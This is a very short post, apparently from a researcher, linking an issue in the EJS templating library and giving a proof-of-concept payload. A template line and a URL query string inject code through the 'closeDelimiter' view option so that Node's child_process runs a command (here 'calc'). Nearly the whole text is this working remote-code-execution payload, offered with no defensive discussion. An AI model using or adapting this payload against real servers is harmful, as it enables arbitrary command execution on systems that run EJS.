I'm not sure if I found a 0day, but it solved the problem.
https://github.com/mde/ejs/issues/720

page.ejs
%%1");process.mainModule.require('child_process').execSync('calc');//
poc
?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//